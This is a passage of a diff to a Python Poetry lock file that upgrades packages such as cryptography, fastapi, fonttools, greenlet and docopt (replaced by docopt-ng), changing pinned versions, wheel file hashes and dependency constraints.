- {file = "cryptography-41.0.3-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6af1c6387c531cd364b72c28daa29232162010d952ceb7e5ca8e2827526aceae"},
- {file = "cryptography-41.0.3-cp37-abi3-win32.whl", hash = "sha256:0d09fb5356f975974dbcb595ad2d178305e5050656affb7890a1583f5e02a306"},
- {file = "cryptography-41.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:a983e441a00a9d57a4d7c91b3116a37ae602907a7618b882c8013b5762e80574"},
- {file = "cryptography-41.0.3-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5259cb659aa43005eb55a0e4ff2c825ca111a0da1814202c64d28a985d33b087"},
- {file = "cryptography-41.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:67e120e9a577c64fe1f611e53b30b3e69744e5910ff3b6e97e935aeb96005858"},
- {file = "cryptography-41.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7efe8041897fe7a50863e51b77789b657a133c75c3b094e51b5e4b5cec7bf906"},
- {file = "cryptography-41.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ce785cf81a7bdade534297ef9e490ddff800d956625020ab2ec2780a556c313e"},
- {file = "cryptography-41.0.3-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:57a51b89f954f216a81c9d057bf1a24e2f36e764a1ca9a501a6964eb4a6800dd"},
- {file = "cryptography-41.0.3-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c2f0d35703d61002a2bbdcf15548ebb701cfdd83cdc12471d2bae80878a4207"},
- {file = "cryptography-41.0.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:23c2d778cf829f7d0ae180600b17e9fceea3c2ef8b31a99e3c694cbbf3a24b84"},
- {file = "cryptography-41.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:95dd7f261bb76948b52a5330ba5202b91a26fbac13ad0e9fc8a3ac04752058c7"},
- {file = "cryptography-41.0.3-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:41d7aa7cdfded09b3d73a47f429c298e80796c8e825ddfadc84c8a7f12df212d"},
- {file = "cryptography-41.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d0d651aa754ef58d75cec6edfbd21259d93810b73f6ec246436a21b7841908de"},
- {file = "cryptography-41.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:ab8de0d091acbf778f74286f4989cf3d1528336af1b59f3e5d2ebca8b5fe49e1"},
- {file = "cryptography-41.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a74fbcdb2a0d46fe00504f571a2a540532f4c188e6ccf26f1f178480117b33c4"},
- {file = "cryptography-41.0.3.tar.gz", hash = "sha256:6d192741113ef5e30d89dcb5b956ef4e1578f304708701b8b73d38e3e1461f34"},
+ {file = "cryptography-41.0.5-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:da6a0ff8f1016ccc7477e6339e1d50ce5f59b88905585f77193ebd5068f1e797"},
+ {file = "cryptography-41.0.5-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:b948e09fe5fb18517d99994184854ebd50b57248736fd4c720ad540560174ec5"},
+ {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d38e6031e113b7421db1de0c1b1f7739564a88f1684c6b89234fbf6c11b75147"},
+ {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e270c04f4d9b5671ebcc792b3ba5d4488bf7c42c3c241a3748e2599776f29696"},
+ {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ec3b055ff8f1dce8e6ef28f626e0972981475173d7973d63f271b29c8a2897da"},
+ {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7d208c21e47940369accfc9e85f0de7693d9a5d843c2509b3846b2db170dfd20"},
+ {file = "cryptography-41.0.5-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8254962e6ba1f4d2090c44daf50a547cd5f0bf446dc658a8e5f8156cae0d8548"},
+ {file = "cryptography-41.0.5-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a48e74dad1fb349f3dc1d449ed88e0017d792997a7ad2ec9587ed17405667e6d"},
+ {file = "cryptography-41.0.5-cp37-abi3-win32.whl", hash = "sha256:d3977f0e276f6f5bf245c403156673db103283266601405376f075c849a0b936"},
+ {file = "cryptography-41.0.5-cp37-abi3-win_amd64.whl", hash = "sha256:73801ac9736741f220e20435f84ecec75ed70eda90f781a148f1bad546963d81"},
+ {file = "cryptography-41.0.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3be3ca726e1572517d2bef99a818378bbcf7d7799d5372a46c79c29eb8d166c1"},
+ {file = "cryptography-41.0.5-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:e886098619d3815e0ad5790c973afeee2c0e6e04b4da90b88e6bd06e2a0b1b72"},
+ {file = "cryptography-41.0.5-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:573eb7128cbca75f9157dcde974781209463ce56b5804983e11a1c462f0f4e88"},
+ {file = "cryptography-41.0.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0c327cac00f082013c7c9fb6c46b7cc9fa3c288ca702c74773968173bda421bf"},
+ {file = "cryptography-41.0.5-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:227ec057cd32a41c6651701abc0328135e472ed450f47c2766f23267b792a88e"},
+ {file = "cryptography-41.0.5-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:22892cc830d8b2c89ea60148227631bb96a7da0c1b722f2aac8824b1b7c0b6b8"},
+ {file = "cryptography-41.0.5-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:5a70187954ba7292c7876734183e810b728b4f3965fbe571421cb2434d279179"},
+ {file = "cryptography-41.0.5-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:88417bff20162f635f24f849ab182b092697922088b477a7abd6664ddd82291d"},
+ {file = "cryptography-41.0.5-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c707f7afd813478e2019ae32a7c49cd932dd60ab2d2a93e796f68236b7e1fbf1"},
+ {file = "cryptography-41.0.5-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:580afc7b7216deeb87a098ef0674d6ee34ab55993140838b14c9b83312b37b86"},
+ {file = "cryptography-41.0.5-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fba1e91467c65fe64a82c689dc6cf58151158993b13eb7a7f3f4b7f395636723"},
+ {file = "cryptography-41.0.5-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:0d2a6a598847c46e3e321a7aef8af1436f11c27f1254933746304ff014664d84"},
+ {file = "cryptography-41.0.5.tar.gz", hash = "sha256:392cb88b597247177172e02da6b7a63deeff1937fa6fec3bbf902ebd75d97ec7"},
]
[package.dependencies]
@@ -669,13 +676,14 @@ doc = ["sphinx", "sphinx_rtd_theme"]
test = ["flake8", "isort", "pytest"]
[[package]]
-name = "docopt"
-version = "0.6.2"
-description = "Pythonic argument parser, that will make you smile"
+name = "docopt-ng"
+version = "0.9.0"
+description = "Jazzband-maintained fork of docopt, the humane command line arguments parser."
optional = false
-python-versions = "*"
+python-versions = ">=3.7"
files = [
- {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"},
+ {file = "docopt_ng-0.9.0-py3-none-any.whl", hash = "sha256:bfe4c8b03f9fca424c24ee0b4ffa84bf7391cb18c29ce0f6a8227a3b01b81ff9"},
+ {file = "docopt_ng-0.9.0.tar.gz", hash = "sha256:91c6da10b5bb6f2e9e25345829fb8278c78af019f6fc40887ad49b060483b1d7"},
]
[[package]]
@@ -739,22 +747,23 @@ test = ["pytest (>=6)"]
[[package]]
name = "fastapi"
-version = "0.99.1"
+version = "0.104.1"
description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
optional = false
-python-versions = ">=3.7"
+python-versions = ">=3.8"
files = [
- {file = "fastapi-0.99.1-py3-none-any.whl", hash = "sha256:976df7bab51ac7beda9f68c4513b8c4490b5c1135c72aafd0a5ee4023ec5282e"},
- {file = "fastapi-0.99.1.tar.gz", hash = "sha256:ac78f717cd80d657bd183f94d33b9bda84aa376a46a9dab513586b8eef1dc6fc"},
+ {file = "fastapi-0.104.1-py3-none-any.whl", hash = "sha256:752dc31160cdbd0436bb93bad51560b57e525cbb1d4bbf6f4904ceee75548241"},
+ {file = "fastapi-0.104.1.tar.gz", hash = "sha256:e5e4540a7c5e1dcfbbcf5b903c234feddcdcd881f191977a1c5dfd917487e7ae"},
]
[package.dependencies]
-pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+anyio = ">=3.7.1,<4.0.0"
+pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0"
starlette = ">=0.27.0,<0.28.0"
-typing-extensions = ">=4.5.0"
+typing-extensions = ">=4.8.0"
[package.extras]
-all = ["email-validator (>=1.1.1)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=2.11.2)", "orjson (>=3.2.1)", "python-multipart (>=0.0.5)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"]
+all = ["email-validator (>=2.0.0)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=2.11.2)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.5)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"]
[[package]]
name = "flask"
@@ -770,7 +779,6 @@ files = [
[package.dependencies]
blinker = ">=1.6.2"
click = ">=8.1.3"
-importlib-metadata = {version = ">=3.6.0", markers = "python_version < \"3.10\""}
itsdangerous = ">=2.1.2"
Jinja2 = ">=3.1.2"
Werkzeug = ">=2.3.7"
@@ -781,45 +789,53 @@ dotenv = ["python-dotenv"]
[[package]]
name = "fonttools"
-version = "4.42.1"
+version = "4.44.0"
description = "Tools to manipulate font files"
optional = false
python-versions = ">=3.8"
files = [
- {file = "fonttools-4.42.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ed1a13a27f59d1fc1920394a7f596792e9d546c9ca5a044419dca70c37815d7c"},
- {file = "fonttools-4.42.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c9b1ce7a45978b821a06d375b83763b27a3a5e8a2e4570b3065abad240a18760"},
- {file = "fonttools-4.42.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f720fa82a11c0f9042376fd509b5ed88dab7e3cd602eee63a1af08883b37342b"},
- {file = "fonttools-4.42.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db55cbaea02a20b49fefbd8e9d62bd481aaabe1f2301dabc575acc6b358874fa"},
- {file = "fonttools-4.42.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a35981d90feebeaef05e46e33e6b9e5b5e618504672ca9cd0ff96b171e4bfff"},
- {file = "fonttools-4.42.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:68a02bbe020dc22ee0540e040117535f06df9358106d3775e8817d826047f3fd"},
- {file = "fonttools-4.42.1-cp310-cp310-win32.whl", hash = "sha256:12a7c247d1b946829bfa2f331107a629ea77dc5391dfd34fdcd78efa61f354ca"},
- {file = "fonttools-4.42.1-cp310-cp310-win_amd64.whl", hash = "sha256:a398bdadb055f8de69f62b0fc70625f7cbdab436bbb31eef5816e28cab083ee8"},
- {file = "fonttools-4.42.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:689508b918332fb40ce117131633647731d098b1b10d092234aa959b4251add5"},
- {file = "fonttools-4.42.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9e36344e48af3e3bde867a1ca54f97c308735dd8697005c2d24a86054a114a71"},
- {file = "fonttools-4.42.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:19b7db825c8adee96fac0692e6e1ecd858cae9affb3b4812cdb9d934a898b29e"},
- {file = "fonttools-4.42.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:113337c2d29665839b7d90b39f99b3cac731f72a0eda9306165a305c7c31d341"},
- {file = "fonttools-4.42.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:37983b6bdab42c501202500a2be3a572f50d4efe3237e0686ee9d5f794d76b35"},
- {file = "fonttools-4.42.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6ed2662a3d9c832afa36405f8748c250be94ae5dfc5283d668308391f2102861"},
- {file = "fonttools-4.42.1-cp311-cp311-win32.whl", hash = "sha256:179737095eb98332a2744e8f12037b2977f22948cf23ff96656928923ddf560a"},
- {file = "fonttools-4.42.1-cp311-cp311-win_amd64.whl", hash = "sha256:f2b82f46917d8722e6b5eafeefb4fb585d23babd15d8246c664cd88a5bddd19c"},
- {file = "fonttools-4.42.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:62f481ac772fd68901573956231aea3e4b1ad87b9b1089a61613a91e2b50bb9b"},
- {file = "fonttools-4.42.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f2f806990160d1ce42d287aa419df3ffc42dfefe60d473695fb048355fe0c6a0"},
- {file = "fonttools-4.42.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db372213d39fa33af667c2aa586a0c1235e88e9c850f5dd5c8e1f17515861868"},
- {file = "fonttools-4.42.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d18fc642fd0ac29236ff88ecfccff229ec0386090a839dd3f1162e9a7944a40"},
- {file = "fonttools-4.42.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8708b98c278012ad267ee8a7433baeb809948855e81922878118464b274c909d"},
- {file = "fonttools-4.42.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c95b0724a6deea2c8c5d3222191783ced0a2f09bd6d33f93e563f6f1a4b3b3a4"},
- {file = "fonttools-4.42.1-cp38-cp38-win32.whl", hash = "sha256:4aa79366e442dbca6e2c8595645a3a605d9eeabdb7a094d745ed6106816bef5d"},
- {file = "fonttools-4.42.1-cp38-cp38-win_amd64.whl", hash = "sha256:acb47f6f8680de24c1ab65ebde39dd035768e2a9b571a07c7b8da95f6c8815fd"},
- {file = "fonttools-4.42.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5fb289b7a815638a7613d46bcf324c9106804725b2bb8ad913c12b6958ffc4ec"},
- {file = "fonttools-4.42.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:53eb5091ddc8b1199330bb7b4a8a2e7995ad5d43376cadce84523d8223ef3136"},
- {file = "fonttools-4.42.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46a0ec8adbc6ff13494eb0c9c2e643b6f009ce7320cf640de106fb614e4d4360"},
- {file = "fonttools-4.42.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7cc7d685b8eeca7ae69dc6416833fbfea61660684b7089bca666067cb2937dcf"},
- {file = "fonttools-4.42.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:be24fcb80493b2c94eae21df70017351851652a37de514de553435b256b2f249"},
- {file = "fonttools-4.42.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:515607ec756d7865f23070682622c49d922901943697871fc292277cf1e71967"},
- {file = "fonttools-4.42.1-cp39-cp39-win32.whl", hash = "sha256:0eb79a2da5eb6457a6f8ab904838454accc7d4cccdaff1fd2bd3a0679ea33d64"},
- {file = "fonttools-4.42.1-cp39-cp39-win_amd64.whl", hash = "sha256:7286aed4ea271df9eab8d7a9b29e507094b51397812f7ce051ecd77915a6e26b"},
- {file = "fonttools-4.42.1-py3-none-any.whl", hash = "sha256:9398f244e28e0596e2ee6024f808b06060109e33ed38dcc9bded452fd9bbb853"},
- {file = "fonttools-4.42.1.tar.gz", hash = "sha256:c391cd5af88aacaf41dd7cfb96eeedfad297b5899a39e12f4c2c3706d0a3329d"},
+ {file = "fonttools-4.44.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e1cd1c6bb097e774d68402499ff66185190baaa2629ae2f18515a2c50b93db0c"},
+ {file = "fonttools-4.44.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b9eab7f9837fdaa2a10a524fbcc2ec24bf60637c044b6e4a59c3f835b90f0fae"},
+ {file = "fonttools-4.44.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0f412954275e594f7a51c16f3b3edd850acb0d842fefc33856b63a17e18499a5"},
+ {file = "fonttools-4.44.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50d25893885e80a5955186791eed5579f1e75921751539cc1dc3ffd1160b48cf"},
+ {file = "fonttools-4.44.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:22ea8aa7b3712450b42b044702bd3a64fd118006bad09a6f94bd1b227088492e"},
+ {file = "fonttools-4.44.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df40daa6c03b98652ffe8110ae014fe695437f6e1cb5a07e16ea37f40e73ac86"},
+ {file = "fonttools-4.44.0-cp310-cp310-win32.whl", hash = "sha256:bca49da868e8bde569ef36f0cc1b6de21d56bf9c3be185c503b629c19a185287"},
+ {file = "fonttools-4.44.0-cp310-cp310-win_amd64.whl", hash = "sha256:dbac86d83d96099890e731cc2af97976ff2c98f4ba432fccde657c5653a32f1c"},
+ {file = "fonttools-4.44.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e8ff7d19a6804bfd561cfcec9b4200dd1788e28f7de4be70189801530c47c1b3"},
+ {file = "fonttools-4.44.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a8a1fa9a718de0bc026979c93e1e9b55c5efde60d76f91561fd713387573817d"},
+ {file = "fonttools-4.44.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c05064f95aacdfc06f21e55096c964b2228d942b8675fa26995a2551f6329d2d"},
+ {file = "fonttools-4.44.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31b38528f25bc662401e6ffae14b3eb7f1e820892fd80369a37155e3b636a2f4"},
+ {file = "fonttools-4.44.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:05d7c4d2c95b9490e669f3cb83918799bf1c838619ac6d3bad9ea017cfc63f2e"},
+ {file = "fonttools-4.44.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6999e80a125b0cd8e068d0210b63323f17338038c2ecd2e11b9209ec430fe7f2"},
+ {file = "fonttools-4.44.0-cp311-cp311-win32.whl", hash = "sha256:a7aec7f5d14dfcd71fb3ebc299b3f000c21fdc4043079101777ed2042ba5b7c5"},
+ {file = "fonttools-4.44.0-cp311-cp311-win_amd64.whl", hash = "sha256:518a945dbfe337744bfff31423c1430303b8813c5275dffb0f2577f0734a1189"},
+ {file = "fonttools-4.44.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:59b6ad83cce067d10f4790c037a5904424f45bebb5e7be2eb2db90402f288267"},
+ {file = "fonttools-4.44.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c2de1fb18198acd400c45ffe2aef5420c8d55fde903e91cba705596099550f3b"},
+ {file = "fonttools-4.44.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84f308b7a8d28208d54315d11d35f9888d6d607673dd4d42d60b463682ee0400"},
+ {file = "fonttools-4.44.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66bc6efd829382f7a7e6cf33c2fb32b13edc8a239eb15f32acbf197dce7a0165"},
+ {file = "fonttools-4.44.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:a8b99713d3a0d0e876b6aecfaada5e7dc9fe979fcd90ef9fa0ba1d9b9aed03f2"},
+ {file = "fonttools-4.44.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:b63da598d9cbc52e2381f922da0e94d60c0429f92207bd3fb04d112fc82ea7cb"},
+ {file = "fonttools-4.44.0-cp312-cp312-win32.whl", hash = "sha256:f611c97678604e302b725f71626edea113a5745a7fb557c958b39edb6add87d5"},
+ {file = "fonttools-4.44.0-cp312-cp312-win_amd64.whl", hash = "sha256:58af428746fa73a2edcbf26aff33ac4ef3c11c8d75bb200eaea2f7e888d2de4e"},
+ {file = "fonttools-4.44.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9ee8692e23028564c13d924004495f284df8ac016a19f17a87251210e1f1f928"},
+ {file = "fonttools-4.44.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dab3d00d27b1a79ae4d4a240e8ceea8af0ff049fd45f05adb4f860d93744110d"},
+ {file = "fonttools-4.44.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53526668beccdb3409c6055a4ffe50987a7f05af6436fa55d61f5e7bd450219"},
+ {file = "fonttools-4.44.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3da036b016c975c2d8c69005bdc4d5d16266f948a7fab950244e0f58301996a"},
+ {file = "fonttools-4.44.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b99fe8ef4093f672d00841569d2d05691e50334d79f4d9c15c1265d76d5580d2"},
+ {file = "fonttools-4.44.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6d16d9634ff1e5cea2cf4a8cbda9026f766e4b5f30b48f8180f0e99133d3abfc"},
+ {file = "fonttools-4.44.0-cp38-cp38-win32.whl", hash = "sha256:3d29509f6e05e8d725db59c2d8c076223d793e4e35773040be6632a0349f2f97"},
+ {file = "fonttools-4.44.0-cp38-cp38-win_amd64.whl", hash = "sha256:d4fa4f4bc8fd86579b8cdbe5e948f35d82c0eda0091c399d009b2a5a6b61c040"},
+ {file = "fonttools-4.44.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c794de4086f06ae609b71ac944ec7deb09f34ecf73316fddc041087dd24bba39"},
+ {file = "fonttools-4.44.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2db63941fee3122e31a21dd0f5b2138ce9906b661a85b63622421d3654a74ae2"},
+ {file = "fonttools-4.44.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eb01c49c8aa035d5346f46630209923d4927ed15c2493db38d31da9f811eb70d"},
+ {file = "fonttools-4.44.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46c79af80a835410874683b5779b6c1ec1d5a285e11c45b5193e79dd691eb111"},
+ {file = "fonttools-4.44.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b6e6aa2d066f8dafd06d8d0799b4944b5d5a1f015dd52ac01bdf2895ebe169a0"},
+ {file = "fonttools-4.44.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:63a3112f753baef8c6ac2f5f574bb9ac8001b86c8c0c0380039db47a7f512d20"},
+ {file = "fonttools-4.44.0-cp39-cp39-win32.whl", hash = "sha256:54efed22b2799a85475e6840e907c402ba49892c614565dc770aa97a53621b2b"},
+ {file = "fonttools-4.44.0-cp39-cp39-win_amd64.whl", hash = "sha256:2e91e19b583961979e2e5a701269d3cfc07418963bee717f8160b0a24332826b"},
+ {file = "fonttools-4.44.0-py3-none-any.whl", hash = "sha256:b9beb0fa6ff3ea808ad4a6962d68ac0f140ddab080957b20d9e268e4d67fb335"},
+ {file = "fonttools-4.44.0.tar.gz", hash = "sha256:4e90dd81b6e0d97ebfe52c0d12a17a9ef7f305d6bfbb93081265057d6092f252"},
]
[package.dependencies]
@@ -828,7 +844,7 @@ brotlicffi = {version = ">=0.8.0", optional = true, markers = "platform_python_i
zopfli = {version = ">=0.1.4", optional = true, markers = "extra == \"woff\""}
[package.extras]
-all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.0.0)", "xattr", "zopfli (>=0.1.4)"]
+all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.1.0)", "xattr", "zopfli (>=0.1.4)"]
graphite = ["lz4 (>=1.7.4.2)"]
interpolatable = ["munkres", "scipy"]
lxml = ["lxml (>=4.0,<5)"]
@@ -838,80 +854,77 @@ repacker = ["uharfbuzz (>=0.23.0)"]
symfont = ["sympy"]
type1 = ["xattr"]
ufo = ["fs (>=2.2.0,<3)"]
-unicode = ["unicodedata2 (>=15.0.0)"]
+unicode = ["unicodedata2 (>=15.1.0)"]
woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"]
[[package]]
name = "greenlet"
-version = "2.0.2"
+version = "3.0.1"
description = "Lightweight in-process concurrent programming"
optional = false
-python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
-files = [
- {file = "greenlet-2.0.2-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bdfea8c661e80d3c1c99ad7c3ff74e6e87184895bbaca6ee8cc61209f8b9b85d"},
- {file = "greenlet-2.0.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9d14b83fab60d5e8abe587d51c75b252bcc21683f24699ada8fb275d7712f5a9"},
- {file = "greenlet-2.0.2-cp27-cp27m-win32.whl", hash = "sha256:6c3acb79b0bfd4fe733dff8bc62695283b57949ebcca05ae5c129eb606ff2d74"},
- {file = "greenlet-2.0.2-cp27-cp27m-win_amd64.whl", hash = "sha256:283737e0da3f08bd637b5ad058507e578dd462db259f7f6e4c5c365ba4ee9343"},
- {file = "greenlet-2.0.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d27ec7509b9c18b6d73f2f5ede2622441de812e7b1a80bbd446cb0633bd3d5ae"},
- {file = "greenlet-2.0.2-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:30bcf80dda7f15ac77ba5af2b961bdd9dbc77fd4ac6105cee85b0d0a5fcf74df"},
- {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26fbfce90728d82bc9e6c38ea4d038cba20b7faf8a0ca53a9c07b67318d46088"},
- {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9190f09060ea4debddd24665d6804b995a9c122ef5917ab26e1566dcc712ceeb"},
- {file = "greenlet-2.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d75209eed723105f9596807495d58d10b3470fa6732dd6756595e89925ce2470"},
- {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3a51c9751078733d88e013587b108f1b7a1fb106d402fb390740f002b6f6551a"},
- {file = "greenlet-2.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:76ae285c8104046b3a7f06b42f29c7b73f77683df18c49ab5af7983994c2dd91"},
- {file = "greenlet-2.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2d4686f195e32d36b4d7cf2d166857dbd0ee9f3d20ae349b6bf8afc8485b3645"},
- {file = "greenlet-2.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c4302695ad8027363e96311df24ee28978162cdcdd2006476c43970b384a244c"},
- {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c48f54ef8e05f04d6eff74b8233f6063cb1ed960243eacc474ee73a2ea8573ca"},
- {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a1846f1b999e78e13837c93c778dcfc3365902cfb8d1bdb7dd73ead37059f0d0"},
- {file = "greenlet-2.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a06ad5312349fec0ab944664b01d26f8d1f05009566339ac6f63f56589bc1a2"},
